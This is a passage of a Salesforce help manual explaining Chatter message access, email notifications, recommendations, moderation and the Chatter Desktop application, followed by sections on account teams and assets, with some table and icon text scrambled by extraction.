Available in: Enterprise, Unlimited, and Developer Editions for users with a Salesforce license, and Database.com Edition for users with a Database.com Admin license

User Permissions Needed To control other administrators' access to Chatter messages: To access Chatter messages via the SOAP API: Manage Users Manage Chatter Messages AND API Enabled

Administrators with the appropriate permissions can access all users' Chatter messages. An administrator with the Manage Chatter Messages permission can access all users' messages in Chatter, for example, for compliance purposes. A user with this permission can retrieve all users' Chatter messages via the SOAP API.

See Also:
Chatter Messages Overview User Permissions

EMAIL NOTIFICATIONS
Configuring Chatter Email Notifications and Digests
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter can email you every time someone follows you, posts to your profile or groups, and more. You can also receive daily or weekly user and group email digests. User digests include updates from your Chatter feed, such as updates about the people, records, and files you follow and your groups. Group digests include updates about a particular group, and are configurable on a group-by-group basis. Note: To receive Chatter email notifications and digests, your administrator must enable email notifications for your organization. To configure your Chatter email settings:

2201

Email Notifications

Configuring Chatter Email Notifications and Digests

1. Click Your Name > My Settings at the top of any page, then click Email Settings. You can also click Your Name > Setup > My Chatter Settings > Chatter Email Settings. 2. Select Receive Chatter Emails to receive Chatter email. Caution: Deselecting this option prevents you from receiving all Chatter email notifications.

3. Select the types of Chatter email you want to receive. 4. Click Save. Consider these email notification tips: When configuring your user and group digests, specify whether you want to receive each digest daily or weekly. Daily digests include the 25 latest posts from the previous day while weekly digests include the 50 latest posts from the week. Both include the three latest comments on each post. Alternatively, when configuring group digests, you can choose to receive an email every time someone posts to the group. Chatter sends daily digests at approximately 12:00 AM every day, and weekly digests at approximately 12:00 AM on Sunday. For user digests, the time is according to the user's time zone. For group digests the time is according to the organization's time zone. If you configure Chatter to send digests but you don't receive any, it's likely that the people and items you're following have no new updates. Whenever you join or are added to a group, you don't receive email notifications initially because they're turned off by default. You can use Set default frequency for groups I join: to choose how often you want to receive emails when joining new groups. Changing the default frequency doesn't affect the groups you already belong to. Note: If your organization existed prior to the Summer '11 release and is a Professional, Enterprise, Unlimited, or Developer Edition organization, you may still be receiving daily digests by default. If you select Comments on a post on my profile, you don't receive a notification when someone comments on changes an administrator makes to your profile. If you select Comments after me, you receive email notifications for up to four comments after you. If you select Sends me a message, you receive email notifications when people send you Chatter messages, including notifications about files that have been shared with you. Chatter limits the number of email notifications an organization can send each hour. These limits are subject to change.

See Also:
Using Chatter Chatter Feeds Overview Viewing a Single Chatter Update Chatter Messages Overview

Replying to Chatter Email Notifications

2202

Recommendations

Replying to Chatter Email Notifications

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When you receive email notifications about comments and posts, you can conveniently post your comments to the Chatter feed by replying to the email. Similarly, you can respond to Chatter messages via email. Just reply to any notification that displays a From address of reply@chatter.salesforce.com. Note: To reply to email notifications, your administrator must enable email replies for your organization.

Consider these tips when sending email replies. Replies must be sent from the email address specified inYour Name > My Profile. If you use email aliases or email forwarding services that send replies from a different email address, your replies won't be processed. Replies to post comments can be up to 1,000 characters. Replies in response to Chatter messages can be up to 10,000 characters. Replies that exceed the limit are truncated to the first 10,000 characters. If replies contain your personal email signature, the signature text is treated as part of your comment. Default signatures inserted by mobile devices, such as Sent from my iPhone, are automatically removed from replies. Before replying, delete custom signatures and any extra text you don't want posted to Chatter. Attachments in replies are ignored. Before replying, check the email address that displays in the To field of your email. Valid addresses contain tokens, or long character strings, both before and after the @ symbol, such as w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com. Some email applications may automatically use the From address from the original email, reply@chatter.salesforce.com, which is not a valid address for receiving replies. If you see this shortened address in the To field of your reply email, replace it with the valid reply-to address in the email header information. For example, in an application such as IBM Lotus Notes: 1. Open the original email. 2. Click View > Show > Page Source. 3. In the Reply-To section, copy the email address that looks like: w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com. 4. Paste the reply-to address in the To field of your reply email.

See Also:
Configuring Chatter Email Notifications and Digests Sending Chatter Messages

RECOMMENDATIONS
Viewing Your Recommendations
2203

Recommendations

Viewing Your Recommendations

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter provides recommendations to help you identify the people, groups, and records that closely relate to your job and interests. The more recommendations you accept, the more updates you'll see in your Chatter feed. Click Follow next to the person or record you want to follow. Click Join to become a group member. Click to dismiss a recommendation. Click More to display the Recommendations page where you can use the side filters to narrow your recommendations to people, records, or groups. Note: If your organization has fewer than 16 people, you automatically follow everybody, so no people are recommended.

See Also:
People Recommendations Overview Chatter Group Recommendations Overview Record Recommendations Overview

Record Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Following records helps keep you up-to-date on important changes to accounts, contacts, opportunities, and more. Chatter recommends records that you've viewed or edited, records that you own (and aren't already following), and parent accounts of records that you're following. Chatter won't recommend records that your Salesforce administrator has disabled feed tracking for. Only opportunities, accounts, leads, contacts, and articles are included in record recommendations. To see an expanded list of your recommendations, click More in the Recommendations section. To see your record recommendations by object, click the object in the side filters. For example, click Accounts to view only your account recommendations. If no recommendations appear, then you're already following all the recommended records.

See Also:
Viewing Your Recommendations

2204

Moderating Chatter

Chatter Moderators

MODERATING CHATTER
Chatter Moderators
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To moderate Chatter: Moderate Chatter

A moderator is a Chatter user with some additional privileges such as: Activate or deactivate Chatter Free users Assign a Chatter Free user as moderator or take the privilege away Delete posts and comments that they can see

You can tell if someone is a moderator by the special banner on their profile picture.

See Also:
Profile Overview

Assigning Moderator Privileges to Chatter Free Users

2205

Moderating Chatter

Assigning Moderator Privileges to Chatter Free Users

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To assign moderator privileges to Chatter Free users: Moderate Chatter

As a moderator, you can assign moderator privileges to Chatter Free users in your organization. You can also remove them if needed. 1. Go to the person's profile page by clicking their name in the People tab or on a feed. 2. On the profile page, click Manage User. If you want the person to be a moderator, select Assign Moderator Privileges. If the person is a moderator and you want to revoke those privileges, select Remove Moderator Privileges.

See Also:
Chatter Moderators Deactivating Chatter Free Users

Deactivating Chatter Free Users


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To deactivate Chatter Free users: Moderate Chatter

As a moderator, you can deactivate Chatter Free users if, for example, they left the company. 1. Go to the person's profile page by clicking their name in the People tab or on a feed. 2. On the profile page, click Manage User and select Deactivate User. If you need to re-activate a Chatter Free user, you must use global search to find their profile, as deactivated users don't show up on the People tab. To activate a user: 1. Find the person's profile using global search. 2. On the profile page, click Manage User and select Activate User.

See Also:
Chatter Moderators Assigning Moderator Privileges to Chatter Free Users

2206

Chatter Desktop

Chatter Desktop Overview

CHATTER DESKTOP
Chatter Desktop Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter Desktop is a free desktop application that lets you collaborate in Chatter without a browser. Use Chatter Desktop to post and comment in Chatter, and receive updates about the people, records, and files you follow and your groups. Chatter Desktop also supports private Chatter messages, and displays Chatter updates and private messages as popup notifications in your Windows taskbar or Mac OS X Dock. Note: Customer users can install and use Chatter Desktop but cant access all of its functionality. For example, customer users cant follow users or records, or access administration options. Chatter Desktop is enabled for most organizations, but administrators can control access to Chatter Desktop as follows: 1. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings. 2. Select Enable Chatter Desktop if you want to allow users to access Chatter data from Chatter Desktop. Deselect this option if you want to prevent all instances of Chatter Desktop in your organization from accessing Chatter data, and block access to the Chatter Desktop self-installation page. 3. Select Allow Chatter Desktop Managed Installations Only if you want to prevent non-administrators from installing Chatter Desktop. For example, select this option if your IT department plans to deploy Chatter Desktop to your organization. 4. Click Save. Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of Adobe AIR.

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Using Chatter Desktop Configuring Chatter Desktop Disabling Chatter Desktop Remotely Troubleshooting Chatter Desktop

Installing Chatter Desktop


2207

Chatter Desktop

Installing Chatter Desktop

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Salesforce.com provides two Chatter Desktop installers: a standard version for individual installations and a managed version for enterprise deployments. Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of Adobe AIR. Standard Version Managed Version

For individuals with administrator privileges on their machines For enterprises deploying Chatter Desktop to users who don't have administrator privileges on their machines Does not require administrator privileges in Salesforce to access Requires administrator privileges in Salesforce to access the the installer installer Automatically installs the required version of Adobe Integrated Runtime (AIR) Does not automatically install AIRyour IT department must obtain a redistribution agreement from Adobe Systems Incorporated and deploy the required version of AIR before deploying Chatter Desktop

Requires the acceptance of an end user license agreement the Requires your IT department to accept the Chatter Desktop first time Chatter Desktop launches managed version end user license agreement on behalf of the users to which Chatter Desktop is deployed Posts Installed Chatter Desktop to Chatter the first time Chatter Desktop launches Periodically checks Salesforce for new versions Includes the Invite Your Colleagues button Does not automatically post to Chatter the first time Chatter Desktop launches Does not regularly check Salesforce for new versions Does not include the Invite Your Colleagues button

To install the standard version: 1. Click Your Name > Setup > Desktop Integration > Chatter Desktop. 2. Click the install badge. 3. Follow the on-screen instructions. Note: Administrators can disable the Chatter Desktop download page and block users from accessing Chatter Desktop.

To install the managed version: 1. Deploy Adobe Integrated Runtime (AIR) version 2.0.4 or later to the machines on which you plan to deploy Chatter Desktop. AIR is Adobe's cross-platform runtime environment for desktop applications, and is a prerequisite for Chatter Desktop.

2208

Chatter Desktop

Connecting Chatter Desktop

Tip: Visit these links before deploying AIR: AIR overview: http://www.adobe.com/devnet/air/articles/distributing_air_in_enterprise.html Information on obtaining an AIR redistribution license from Adobe System Incorporated:
http://www.adobe.com/products/air/runtime_distribution1.html

Installation information:
http://help.adobe.com/en_US/air/redist/WS485a42d56cd19641-70d979a8124ef20a34b-8000.html

Administration information:
http://help.adobe.com/en_US/air/admin/WS485a42d56cd1964167ea49bd124ef17d52a-8000.html

2. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings. 3. Click the link to download the managed version. Important: Chatter Desktop uses Adobe Acrobat Reader to preview PDF files. Before previewing files with Chatter Desktop, install Adobe Acrobat and open it at least one time to complete the installation. You can download it from Adobe's website.

See Also:
Chatter Desktop Overview Connecting Chatter Desktop Using Chatter Desktop Configuring Chatter Desktop Disabling Chatter Desktop Remotely Troubleshooting Chatter Desktop

Connecting Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you have multiple Salesforce or Chatter logins, create a connection for each login. The connection lets Chatter Desktop access the Chatter data you can access with that login on the Web. 1. Click and select Settings. 2. In the Connections section, enter a name for the connection and the URL from which you log in. The URL must begin with https:// and end with salesforce.com or chatter.com. For example, if your organization has a European division that you log into from https://emea.salesforce.com, enter that URL and name the connection Europe. By default, Chatter Desktop connects to your main instance of Salesforce (Production) or your Force.com sandbox. 3. Click Authenticate and follow the on-screen instructions to authenticate Chatter Desktop to connect using the login. Use the radio buttons on the Settings screen to specify a default connection. To quickly switch connections while using Chatter Desktop, click , select Switch Connection, and choose the connection.

2209

Chatter Desktop

Using Chatter Desktop

Note: You can create multiple connections, but Chatter Desktop can log into only one connection at a time. You cannot use Chatter Desktop to display data from multiple connections simultaneously.

See Also:
Installing Chatter Desktop Chatter Desktop Overview Using Chatter Desktop Configuring Chatter Desktop Disabling Chatter Desktop Remotely Troubleshooting Chatter Desktop

Using Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To view updates for everyone and everything you follow, select To view updates directed towards you, select To view a particular person's updates, select .

and click the person's name.

To post to a person's profile, navigate to the person's profile, type your post, and click Share. To view updates for a particular group, select and click the groups name.

To post to a group, navigate to the group, type your post, and click Share. To view private Chatter messages, select . , or click , which appears when you type a post. , which appears when you type a

To post a file from your computer to Chatter, drag the file to

To post a link to Chatter, type the link in the box where you type your post, or click post.

Use the Sort By filter at the top of a feed to configure how Chatter Desktop displays Chatter updates: Post DateChronologically displays posts in the feed. To see comments, you must click Show All Comments below a post. Post and Comment DateChronologically displays posts and comments in the feed. Each comment appears again when you click Show All Comments under its associated post.

2210

Chatter Desktop

Configuring Chatter Desktop

Tip: Chatter Desktop synchronizes your data automatically, but the synchronization does not always happen instantly. To manually synchronize, click in the lower left corner.

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Chatter Desktop Overview Configuring Chatter Desktop Disabling Chatter Desktop Remotely Troubleshooting Chatter Desktop

Configuring Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The default Chatter Desktop configuration is appropriate for most users, but several Chatter Desktop settings are configurable. To access Chatter Desktop settings, click the you can: icon in the upper right corner and select Settings. From the Settings screen,

Configure Chatter Desktop to launch when you start your computer. Configure Chatter Desktop to minimize when you close it. Turn popup notifications on or off. Popup notifications are enabled by default.

Deploying a Chatter Desktop Configuration File


When deploying the managed version of Chatter Desktop, administrators can control settings by deploying an XML-based configuration file to each user's machine. The configuration in the file overrides the user's settings. To deploy the configuration file: 1. Create a file named .chatterdesktop that has a chatterdesktop parent element with two child elements, config and servers. 2. In the config element, create the following child elements:
launchOnStartupLaunches the application on startup. minimizeOnCloseMinimizes the application on close. notificationsEnables popup notifications.

3. Set default and editable attributes to TRUE or FALSE on each child element in the config element. default determines the default setting, while editable determines if the user can change the default setting through the user interface. 4. If your organization uses instances of Salesforce other than Production and Sandbox, specify the servers that host those instances in separate server elements inside the servers element. In each server element, include the following attributes:

2211

Chatter Desktop

Configuring Chatter Desktop

labelThe name of the connection as you want it to appear in the user interface. serverUrlThe URL you use to log into the instance. The URL must begin with https:// and end with salesforce.com or chatter.com. For example, if your organization has a European division that you log into from https://emea.salesforce.com, enter that URL and name the connection Europe.. defaultServerSet to TRUE to make this the default instance to which Chatter Desktop connects.

5. Optionally, test the .chatterdesktop configuration file as follows: a. Copy the .chatterdesktop configuration file to the user directory on your machine. The user directories are as follows: Windowsc:\Documents and Settings\<username> Mac OS/Users/<username> Linux/home/<username>

b. Launch Chatter Desktop and verify that it functions correctly. See Troubleshooting Chatter Desktop if there are problems. 6. Copy the .chatterdesktop file to the user directory on every machine running Chatter Desktop in your organization. The following is a sample configuration file:
<chatterdesktop> <config> <launchOnStartup default="false" editable="false"/> <minimizeOnClose default="false" editable="true"/> <notifications default="true" editable="true"/> </config> <servers> <server label="Europe" serverUrl="https://emea.salesforce.com" defaultServer="true"/> <server label="Production" serverUrl="https://login.salesforce.com" defaultServer="false"/> </servers> </chatterdesktop>

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Using Chatter Desktop Chatter Desktop Overview Disabling Chatter Desktop Remotely Troubleshooting Chatter Desktop

Disabling Chatter Desktop Remotely

2212

Chatter Desktop

Disabling Chatter Desktop Remotely

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If the computer on which you installed Chatter Desktop is stolen or lost, you can block Chatter Desktop from accessing your Salesforce data. Click Your Name > Setup > My Personal Information > Personal Information, and click Revoke next to Chatter Desktop in the Remote Access section.

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Using Chatter Desktop Configuring Chatter Desktop Chatter Desktop Overview Troubleshooting Chatter Desktop

Troubleshooting Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions Chatter Desktop uses Adobe Integrated Runtime (AIR), so see the following table for solutions to common AIR-related issues if you need to troubleshoot Chatter Desktop. Use the Adobe knowledge base if the table does not have the answers you need. Problem Chatter Desktop installation fails. Solution Change your default browser to another application and then back to your preferred browser. This ensures that your operating system opens the Chatter Desktop installation files correctly.

Chatter Desktop on Linux freezes, presents an empty window, Try the following: does not save your password, or malfunctions in another way. If using the managed installation, verify the .chatterdesktop file is well-formed and valid XML. If using the managed installation, verify the URLs in the .chatterdesktop file are valid, and that each URL begins with https:// and ends with salesforce.com. Troubleshoot your Encrypted Local Storage (ELS) keystore. See http://kb2.adobe.com/cps/492/cpsid_49267.html. Chatter Desktop does not preview PDF files. Chatter Desktop uses Adobe Acrobat Reader to preview PDF files. Before previewing files with Chatter Desktop,

2213

Chatter Desktop

Chatter Desktop Releases

Problem

Solution install Adobe Acrobat and open it at least one time to complete the installation. You can download it from Adobe's website.

Photos with comments do not refresh.

Click the sync icon.

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Using Chatter Desktop Configuring Chatter Desktop Disabling Chatter Desktop Remotely Chatter Desktop Overview

Chatter Desktop Releases


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes the updates in each Chatter Desktop release. Version 2.1 Updates Support for customer users Support for private Chatter messages Miscellaneous bug fixes, including an issue with popup notifications stealing OS focus A new user interface and visual design The ability to view records Global search for @mentions The ability to create new instances on the Login screen The ability to switch and authenticate instances without restarting Miscellaneous bug fixes, including an issue that generated empty notifications and an issue with the installer An intermediate build to accommodate changes to Adobe AIR. Chatter Desktop immediately performs an additional update after 1.3.2 installs.

2.0

1.3.3

1.3.2

2214

Chatter Desktop

Chatter Desktop Releases

1.2.1 1.2.0

Locale fixes for Norwegian, Danish, Finnish and Dutch User and group details Links to indicate you like a post @mentions, which render in feeds and link to the mentioned user's profile #topics, which render in feeds and link to search results in your browser Auto-complete for @mentions and #topics Performance improvements including image caching Norwegian language support Miscellaneous bug fixes Updated for use with chatter.com Minor bug fixes Click files to preview them Select the To:Me tab to see posts directed to you Click groups and users to view their walls Write on the walls of groups and users Photo loading issue resolved Performance optimizations for people and groups Release of Chatter Desktop managed version An option to log into your Salesforce Sandbox Performance optimizations Korean locale fixes

1.1.1

1.1.0

1.0.7 1.0.6

1.0.5

See Also:
Installing Chatter Desktop Connecting Chatter Desktop Using Chatter Desktop Configuring Chatter Desktop Disabling Chatter Desktop Remotely Chatter Desktop Overview

2215

SELLING

ACCOUNT TEAMS
Account Teams Overview
Available in: Enterprise, Unlimited, and Developer Editions

An account team is a team of users that work together on an account. For example, your account team may include an executive sponsor, dedicated support representative, and project manager. You can build an account team on each account that you own. When selecting an account team member, choose a role to indicate the role the person plays on the account. Also, depending on your sharing model, you can specify the level of access each account team member will have to the account and any contacts, opportunities, or cases associated with that account. So, you can give some team members read-only access and others read/write access. You can also set up a default account team. Your default account team should include the users that you normally work with on your accounts. You have the option to automatically add your default account team to all of your accounts. In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can filter accounts by the account teams in which you are a member. Note: Account teams are not the same as sales teams, although they share the same set of available team member roles. Account teams work together on accounts, while sales teams work together on opportunities.

See Also:
Setting Up Account Teams Adding Account Team Members Editing Account Team Members Removing Account Team Members Setting Up Default Account Teams Sales Teams Overview Account and Contact Reports

Setting Up Account Teams


2216

Account Teams

Setting Up Account Teams

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable account teams: To set up team roles: Customize Application Customize Application

Your users can add account team members to accounts. Similar to sales teams on opportunities, account teams are teams of users who work together on accounts. To access the Account Team Setup page, click Your Name > Setup > Customize > Accounts > Account Teams. On the Account Team Setup page, click the appropriate links to perform the following actions:

Defining Team Roles


Every member of an account team has a role that he or she plays for the account, for example, Account Manager or Project Manager. You can customize the account team roles for your organization: 1. Click Team Roles. 2. Edit the existing entries or add new items. 3. Click Save.

Replacing Team Roles


If you have changed your team roles and want to update all existing records, click Replace Team Roles to globally replace the values in all existing records. For more information, see Replacing Picklist Values on page 979. Note: Account teams share roles with the sales teams on opportunities. If you remove an account team role, that role will no longer be listed as an opportunity sales team role.

Enabling or Disabling Account Teams


To enable or disable account teams: 1. Click Enable Account Teams or Disable Account Teams. 2. Select or deselect the Account Teams Enabled checkbox and click Save. Enabling account teams gives your users access to create and use account teams on accounts. 3. If you are enabling account teams, select the account page layouts that should include the new Account Team related list and click Save.

2217

Account Teams

Setting Up Default Account Teams

Note: Disabling account teams removes all account teams from all accounts and removes the Account Team related list from all page layouts. In addition, you cannot disable account teams for your organization if team members are referenced in an Apex script. For example, if a script references the Team Member field (represented as AccountTeamMember in the code), account teams cannot be disabled. For more information, see Apex Code Overview on page 1825.

See Also:
Account Teams Overview Adding Account Team Members Setting Up Default Account Teams

Setting Up Default Account Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up default account teams: To add default account teams to accounts: Read on opportunities Read on accounts AND Owner of account record, or above owner in your organization's role hierarchy

An account team is a team of users that work together on an account. For example, your account team may include an executive sponsor, dedicated support representative, and project manager.

Adding Default Account Team Members


1. 2. 3. 4. Click Your Name > Setup > My Personal Information > Personal Information. Click Add in the Default Account Team related list. Select users to add as members of your default account team. Select the access levels that each member should have on the accounts you own and the contacts, opportunities, and cases related to those accounts. An access level can only grant the same or wider access than your organizations default access level for that kind of record.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.

5. Select an account team role for each member, for example, Channel Manager. 6. Check the Automatically add my default account team... box to add your default account team to all accounts that you create and all accounts that are transferred to you. 7. Check the Update account teams... box to apply default account team changes to all of your existing accounts. 8. Click Save.

2218

Account Teams

Adding Account Team Members

Editing and Deleting Default Account Team Members


To change the access levels or role of a default team member, click Edit next to the users name in the Default Account Team related list. To delete a user from your default sales team: 1. Click Del next to the users name in the Default Account Team related list. 2. Check the Remove this user... box to remove the user from your existing account teams. 3. Click Delete to finish. To change or remove a default team member for a specific account, go to the Account Team related list on that account.

Adding Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add team members from an account: Read on accounts AND Owner of account team record, or above owner in your organization's role hierarchy To view accounts: Read on accounts

To build an account team, you select an account and add account team members to it. You can't add high-volume portal users to teams. Note: The Account Access, Contact Access, Opportunity Access, and Case Access options depend on your sharing model. In a Public sharing model, you may only have one option. Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. Regardless of sharing access, account team members must also have the Read permission on accounts to view accounts that list them as members. 1. View the account. 2. Click Add in the Account Team related list. 3. Select users to add to the account team. To add your default account team to an account, click Add Default Team in the Account Team related list. To add all account team members to an opportunity, click Add Account Team from the Sales Team related list on the opportunity. 4. Select the type of access each member should have to the account's related records. The access level cannot be less restrictive than your organizations default account access level. 5. Select a team role for each member. 6. Click Save.

2219

Account Teams

Editing Account Team Members

Tip: In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can filter accounts by the account teams in which you are a member.

See Also:
Reassigning Multiple Team Members Setting Up Account Teams Editing Account Team Members Removing Account Team Members

Editing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To edit team members: Read on accounts Edit on accounts AND Owner of account team record, or above owner in your organization's role hierarchy

For each account you own or have access to, you can change the access level and role of any member. Note: If a team member is on your default account team and you modify his or her properties for a specific account, those changes affect only that account. The setup of your default account team does't change. 1. View the account. 2. To add team members, click Add or Add Default Team on the Sales Team related list. 3. To edit a team member's access, click Edit next to the member's name and select a different access level for the account and its related contacts, opportunities, and cases. An access level can only grant the same or wider access than your organizations default access level for that kind of record. 4. To edit a team member's role, click Edit next to the member's name and select a different role. 5. Click Save. Tip: Click Display Access in the Account Teams related list to show the organization-wide sharing settings related to accounts. These settings may allow greater access than those specified when the user was added to the account team. For example, if your company's organization-wide sharing setting for accounts is Read/Write, that setting will override

2220

Account Teams

Removing Account Team Members

a Read Only setting for an individual member of an account team. Contact access is not available when the organization-wide default access for contacts is set to Controlled by Parent.

See Also:
Adding Account Team Members Setting Up Default Account Teams

Removing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To remove team members: Read on accounts Edit on accounts AND Owner of account record, or above owner in your organization's role hierarchy

For each account you own, you can remove any team member from the account team. 1. View the account. 2. Click Del next to the members name in the Account Team related list. Click Delete All if you want to remove all the account team members at once. 3. Check the Remove box if you also want to remove the user from the sales teams of open opportunities associated with the account. 4. Click Delete to finish. Note: Unless specified, removing a member of your account team does not remove that person from your opportunity sales teams. If a team member is on your default account team and you remove him or her from a specific account, those changes only affect that account. The setup of your default account team does not change. To remove users from your default account team, see Setting Up Default Account Teams on page 2218. If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case Access) and is deactivated, the access will default to Read Only if the user is reactivated.

See Also:
Reassigning Multiple Team Members

2221

Assets

Account Team Fields

Account Team Fields


Available in: Enterprise, Unlimited, and Developer Editions

An account team member has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Field
Account Access

Description The level of access that a team member has to the account. The access level can be read/write or read only, but it cannot be less than your organizations default account sharing access. The level of access that a team member has to the contact. The access level can be read/write or read only, but it cannot be less than your organizations default contact sharing access.
Contact Access is not available when the organization-wide

Contact Access

default for contacts is set to Controlled by Parent.


Opportunity Access

The level of access that team member has to the opportunities associated with the account. The level of access that team member has to the cases associated with the account. The user listed as part of the team. The role that the team member plays for the account, for example, Account Manager.

Case Access

Team Member Team Role

ASSETS
Assets Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

While products represent the items that your company sells, assets represent the specific products your customers have purchased, including a serial number, date of purchase, or any other information related to an individual sale. Depending on how your organization uses assets, they can represent a competitor product that your customer has or versions of your products.

2222

Assets

Getting Started with Assets

Use assets to store specific information about the products your customers have. Depending on your page layouts, you can view asset related lists on your account, contact, and product page layouts. If set up by an administrator, your customers may be eligible for support based on an asset they've purchased. See Entitlement Management Overview on page 2950.

See Also:
Getting Started with Assets Viewing Asset Lists Administrator tip sheet: Getting Started with Assets

Getting Started with Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

If your organization has enabled products, assets are automatically enabled for your organization. However, administrators still need to customize their organization before users can begin using assets. To implement assets for your organization: Add the Assets related list to account, contact, and product page layouts. Users can create new assets from these related lists. For instructions on changing page layouts, see Customizing Page Layouts on page 1191. Add the Cases related list to the appropriate product and asset page layouts. Add the Asset field to your case page layouts. Consider changing the field-level security for the Asset field so that it displays or is required if necessary for your business. See Field-Level Security Overview on page 622. By default, your users have Read, Create, Edit, and Delete permissions on assets. If necessary, revise these permissions for your users. Without the Read permission on assets, users will not see any assets or asset related lists in Salesforce. For information on these permissions, see Object Permissions on page 551 . Optionally, customize asset fields and page layouts by clicking Your Name > Setup > Customize > Assets.

See Also:
Administrator tip sheet: Getting Started with Assets

Viewing Asset Lists

2223

Assets

Viewing Asset Lists

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: To change assets: Read on assets Edit on assets

Display a list of assets by going to the Products tab and clicking a view from the Asset Views section. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click an asset name to view the detail. Click Edit or Del to edit or delete the asset. For information on deleting assets, see Deleting Assets on page 2229. If Chatter is enabled, click If Chatter is enabled, click back to the list view. or to follow or stop following an asset in your Chatter feed. List to toggle Chatter in the top-right corner to see feed updates for the list view. Click

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Customizing User Interface Settings Working with Enhanced Lists Printing List Views Using Inline Editing in Lists

Displaying and Editing Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: To change assets: Read on assets Edit on assets

You can display an asset from the Products tab or a related account or contact.

2224

Assets

Displaying and Editing Assets

Displaying Assets Once you have located an asset from a related list, or the products home or list pages, click the name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. Viewing Asset Updates and Comments (Chatter) Display a Chatter feed of updates, comments, and posts about the asset. Editing Assets Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save.

Asset Related Lists Below the asset detail are related lists that include information about associated cases, entitlements, activities, or notes and attachments. The related lists you see are determined by your personal customization and any customization your administrator has made to page layouts. Click on individual items to display additional information about them. Click more at the bottom of the page or View More below a related list to display more items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Printing Assets To open a printable display of the record details, in the top-right corner of the page, click Printable View. To return to the last list page you viewed, click Back to list at the top of the asset detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. For more information, see Navigating on page 14. You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account includes all assets related to the person account, including those where the person account is in the Contact field. See What is a Person Account? on page 61. Note: Users can view an asset if they can view the account or contact listed on the asset. However, sharing settings may prevent users from viewing the account associated with the contact on the asset.

See Also:
Asset Fields Creating Assets Cloning Assets Deleting Assets Tagging Records Searching for Assets Entitlement Management Overview

2225

Assets

Creating Assets

Creating Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assets: To create assets: Read on assets Create on assets

